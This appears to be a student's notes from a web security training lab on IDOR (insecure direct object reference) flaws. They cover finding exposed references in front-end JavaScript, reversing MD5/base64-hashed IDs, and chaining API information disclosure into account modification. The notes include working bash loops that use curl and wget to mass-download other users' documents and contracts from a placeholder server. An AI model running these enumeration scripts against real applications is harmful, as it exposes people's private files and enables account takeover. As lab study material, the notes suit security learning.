3. IDOR (Insecure Direct Object References)

Building access control is challenging, which is why IDOR is pervasive. Automating the process of identifying weaknesses in access control systems is also quite difficult

IE:

What makes this important? A direct ref to an internal object or resource by itself is not directly a vulnerability.

There are many ways to implement solid access control for webapps like RBAC

Devs ignore this frequently. Lots of web apps and mobile apps are left unprotected in the backend.

All of this makes idor vulns among the most critical vulns for any web/mobile app - not only due to exposing direct object references but because of a lack of a access control system. Even basic access control is challenging to develop. A comprehensive access control system covering the entire webapp without interfering with its' functions is even more difficult. IDOR/Access control vulns are found even in very large webapps, like facebook, instagram, and twitter.

neat articles: https://medium.com/@kedrisec/publish-tweets-by-any-other-user-6c9d892708e3 https://infosecwriteups.com/add-description-to-instagram-posts-on-behalf-of-other-users-6500-7d55b4a24c5a https://infosecwriteups.com/disclose-private-attachments-in-facebook-messenger-infrastructure-15-000-ae13602aa486


IDOR impact: Typically very large impact. Most basic example:

IDOR vulns may also lead to user priv escalation from std to admin. IDOR Insecure function calls


Identifying IDORs

URL Parameters and APIs First step: Identify direct obj references, of course.

AJAX calls Identify unused parameters or APIs in front-end code in the form of Javascript AJAX calls Some webapps developed in JS frameworks may insecurely place all function calls on the frontend + use appropriate ones based on user roles

IE:

This is not unique to admin functions, can be any fx or call that may not be found through monitoring HTTP requests.

Example AJAX call:

function changeUserPassword() {
    $.ajax({
        url:"change_password.php",
        type: "post",
        dataType: "json",
        data: {uid: user.uid, password: user.password, is_admin: is_admin},
        success:function(result){
            //
        }
    });
}

We'd expect this is never able to be called as a non-admin If we locate in front-end we may test it in different ways to test whether we can call it to perform changes indicating IDOR

Understand Hashing/Encoding Webapps may not use simple sequential numbers as IDs for object references and hash it instead. If we find such parameters using encoded/hashed values ; we can still exploit them if there's no access control system on the backend.

Suppose the reference was encoded with something common like base64. We can decode it and view the plaintext of the object reference, change its' value, and encode it again to access other data.

On the other hand, obj ref may be hashed like: download.php?filename=c81e728d9d4c2f636f067f89cc14862c At first glance we may think this is a 'secure' obj ref, it's not using cleartext or easy encoding. If we look at source code we may see that it is being hashed before the API call is ever made:

$.ajax({
    url:"download.php",
    type: "post",
    dataType: "json",
    data: {filename: CryptoJS.MD5('file_1.pdf').toString()},
    success:function(result){
        //
    }
});

Above we see code uses the filename and hashes it with cryptojs.md5 making it easy for us to calculate the filename for other potential files. Otherwise we may manually try to identify the hashing algorithm used with hash identifier tools; and hash the filename to see if it matches the used hash. Once we can calculate hashes for other files, we repeat above process potentially revealing an IDOR vuln if possible to download files that do not belong to us.

Compare user roles More advanced IDOR attacks, we may need to register multiple users and compare their http requests and object references.

{
  "attributes" : 
    {
      "type" : "salary",
      "url" : "/services/data/salaries/users/1"
    },
  "Id" : "1",
  "Name" : "User1"

}

If we have access to 2 users, one of which can view their salary after making the above API call.


Mass IDOR enumeration Easy in some instances but very challenging in others. Once we identify potential IDOR we can start testing it with basic techniques to see whether it would expose any other data. In advanced IDOR we need to better understand:

Below discussing various techniques from basic enumeration to mass data gathering to user priv escalation.

Insecure parameters Basic example that showcases a typical IDOR vuln: "Employee Manager" webapp hosting employee records

Mass enumeration Try manually accessing all other employee docs with uid=3, uid=4 etc and so on. Manually accessing files is not efficient in a real work env with hundreds or thousands of employees.

Inspect web browser tools -> enable element inspector

Example:

<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>

Pick any unique word to grep the link of the file. Each link starts with <li class='pure-tree_link'> so we can curl the page and grep for this line:

curl -s "http://SERVER_IP:PORT/documents.php?uid=1" | grep "<li class='pure-tree_link'>"

easily capture the document links successfully. We can use some bash commands to trim the extra parts and only get doc links in output.

curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"

/documents/Invoice_3_06_2020.pdf
/documents/Report_3_01_2020.pdf

creating a for loop to loop over the uid param and return document for all employees, and wget to download each document link

#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done

this is only one example of how we can achieve this objective, try using burp/zap or writing your own bash / powershell script to download all documents


IDOR - Bypassing encoded references

Referring to same example above there is new functionality, Contracts page: Clicking on the pdf it downloads the file, and in Burp the contract PDF file name looks like the following:

contract=cdd96d3cc73d1dbdaffa03cc6cd7339b

POST request sent to download.php for this above filename.

Using download.php script to download files is common practice to avoid directly linking files. However in this case webapp is not sending direct reference in cleartext but appears to be hashing the filename with md5.

We can attempt to hash various values like uid, username, and filename to see if their md5 hashes match the above value - if we find a match we can replicate it for other users and collect their files. for example, compare md5 hash of our uid and see if it matches: echo -n 1 | md5sum (these hashes do not match)

We can attempt this with various other fields but none of them match our hash.

Function disclosure Most modern webapps use JS frameworks like angular, react, vue.js etc. Many web devs make the mistake of performing sensitive functionality on the frontend. Thus we can view source code and determine what they're doing to calculate this hash value.

function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
}

Function:

Hashes match = successfully reversed hashing technique used by object references, leading to IDOR. With that, we can enumerate other employee contracts using the above method. At this point we should write a script similar to the previous example and generate a list of hashes for attempting to download the contract files

Mass enumeration

Example bash script to generate 1-20 using the same reversing scheme above

for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done

POST request on download.php with each of the above hashes as the contract value which would give us our final script:

#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done

IDOR example module

![](/img/Pasted image 20241209191102.png)

![](/img/Pasted image 20241209191125.png) ![](/img/Pasted image 20241209191249.png) ![](/img/Pasted image 20241209191325.png) ![](/img/Pasted image 20241209193625.png) ![](/img/Pasted image 20241209193702.png) ![](/img/Pasted image 20241209193718.png)

![](/img/Pasted image 20241209194853.png) ![](/img/Pasted image 20241209194918.png)

used chatgpt to make a bash script tbqh also used chatgpt to url-encode all of the above base64 encoded strings for input to the curl command

![](/img/Pasted image 20241209195819.png) ![](/img/Pasted image 20241209195830.png)


IDOR in Insecure APIs

In prev sections we've been looking at IDOR vulns to access files and resources outside of user access.

IDOR Information Disclosure Vulnerabilities allows us to read various types of resources whileas IDOR Insecure Function Calls enable us to call APIs or execute functions as another user.

Identifying insecure APIs ![](/img/Pasted image 20241209200930.png) in this example we are exposed the following information:

unless webapp explicitly defends against this, we should be able to arbitrarily set roles for our user.

Exploiting insecure APIs We know we can change full_name , email, and about parameters (above) as these are under our control under /profile

Few examples or food for thought in this example:

  1. Change our uid to another user's uid, such that we can take over their accounts
    1. in our example, swapping uid gives us uid mismatch response - indicating there is some backend access control
  2. Change another user's details, which may allow us to perform several web attacks
    1. changing api to profile/api.php/profile/2 and changing "uid":2 , we get uuid mismatch
    2. indicates checking uuid value we send matches user's uuid
  3. Create new users with arbitrary details, or delete existing users
    1. Send POST req to api endpoint. Change request method to POST, change uid to a new uid, and send the request to the api endpoint of the new uid
    2. receive response Creating new employees is for admins only
  4. Change our role to a more privileged role (e.g. admin) to be able to perform more actions
    1. Doing a PUT req and trying to update our role to admin gives us Invalid role (we don't know the role name for administrator)

All our attempts failed! Is it secure?

Thus our task is: test api against IDOR Information Disclosure vulnerabilities by attempting to get other users' details with GET requests If API is vulnerable we may be able to leak user details and use this information to complete our IDOR attacks on function calls.

Module exercise:

Try to read details of user with uid=5. Whats their uuid? ![](/img/Pasted image 20241209201850.png) ![](/img/Pasted image 20241209201906.png) ![](/img/Pasted image 20241209201919.png) ![](/img/Pasted image 20241209201941.png)


Chaining IDOR vulnerabilties Get request to API returns details of requested user. Only form of auth is role=employee cookie.

Information disclosure:

Now that we have another user uuid we can try testing a PUT req against the API that will modify the user's information

In addition to allowing us to view sensitive info the ability to modify another user's details also enables us to perform several other attacks.

Chaining two IDOR vulnerabilities

Since we have idor info disclosure, enumerate all users + identify other roles (ideally an admin role)

Objective: Try and write a script to enumerate all users, simularly to what we did previously.

More/less a repeat of what we did earlier. just asked chatgpt to curl out all of the ids 1-20 and we get an admin user:

![](/img/Pasted image 20241209211825.png)

now the objective is: Try to change the admin's email to 'flag@idor.htb', and you should get the flag on the 'edit profile' page.

example PUT changing our own profile: ![](/img/Pasted image 20241209212000.png) ![](/img/Pasted image 20241209212141.png) this should theoretically work

![](/img/Pasted image 20241209212235.png)